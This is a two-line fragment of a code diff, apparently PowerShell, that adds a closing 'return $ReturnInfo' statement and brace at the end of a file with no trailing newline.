+ return $ReturnInfo
+} \ No newline at end of file